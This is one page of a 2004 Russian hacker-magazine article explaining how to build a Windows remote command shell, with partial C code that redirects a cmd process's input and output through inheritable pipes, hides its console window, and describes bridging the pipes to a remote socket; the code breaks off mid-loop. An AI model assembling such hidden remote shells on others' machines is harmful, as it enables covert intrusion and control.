Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

CMD-shell на службе у хакера

Крис Касперски aka мыщъх

Спецвыпуск: Хакер, номер #048, стр. 048-016-3


Корректно написанный shell требует создания как минимум двух пайпов - один будет обслуживать стандартный ввод, соответствующий дескриптору hStdInput, другой - стандартный вывод, соответствующий дескрипторам hStdOutput и hStdError. Дескрипторы самих пайпов обязательно должны быть наследуемыми, в противном случае порожденный процесс просто не сможет до них "дотянуться". А как сделать их наследуемыми? Да очень просто - всего лишь взвести флаг bInheritHandle в состояние TRUE, передавая его функции CreatePipe вместе со структурой LPSECURITY_ATTRIBUTES, инициализированной вполне естественным образом.

Остается подготовить структуру STARTUPINFO, сопоставив дескрипторы стандартного ввода/вывода наследуемым каналам, и ни в коем случае не забыть взвести флаг STARTF_USESTDHANDLES, иначе факт переназначения стандартных дескрипторов будет наглым образом проигнорирован.

Однако это еще не все, и самое интересное нас ждет впереди! Для связывания каналов с сокетом удаленного терминала нам потребуется реализовать специальный резидентный диспетчер, считывающий поступающие данные и перенаправляющий их в сокет или канал. Вся сложность в том, что проверка наличия данных в сокете (канале) должна быть неблокируемой, в противном случае нам потребуются два диспетчера, каждый из которых будет выполняться в "своем" потоке, что, согласись, громоздко и неэлегантно.

Обратившись к Platform SDK, мы найдем две полезных функции: PeerkNamePipe и ioctlsocket. Первая отвечает за неблокируемое измерение "глубины" канала, а вторая обслуживает сокеты. Теперь диспетчеризация ввода/вывода становится тривиальной.

// Заполняем поля структуры SECURITY_ATTRIBUTES

// (позже она будет передана функции CreateProcess)

// секретность не требуется

sa.lpSecurityDescriptor = NULL;

// длина структуры SECURITY_ATTRIBUTES

sa.nLength = sizeof(SECURITY_ATTRIBUTES);

// дочерний процесс наследует материнские обработчики

sa.bInheritHandle = TRUE;

// создаем пайпы, через которые впоследствии будет течь весь ввод/вывод

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;

if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;

// считываем состояние текущей консоли

GetStartupInfo(&si);

// говорим, какие именно атрибуты мы будет изменять

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

si.wShowWindow = SW_HIDE;// прячем окно от постороннего взгляда

si.hStdOutput = cstdout;// направляем стандартный вывод в пайп

si.hStdError = cstdout;// направляем стандартный вывод об ошибках в пайп

si.hStdInput = cstdin; // направляем стандартный ввод в пайп

// создаем новую консоль со скрытым окном, ввод/вывод которой связан с пайпами

if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;

// мотаем цикл, пока окно не будет закрыто

while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))

{

// проверяем наличие данных в пайпе

Назад на стр. 048-016-2  Содержание  Вперед на стр. 048-016-4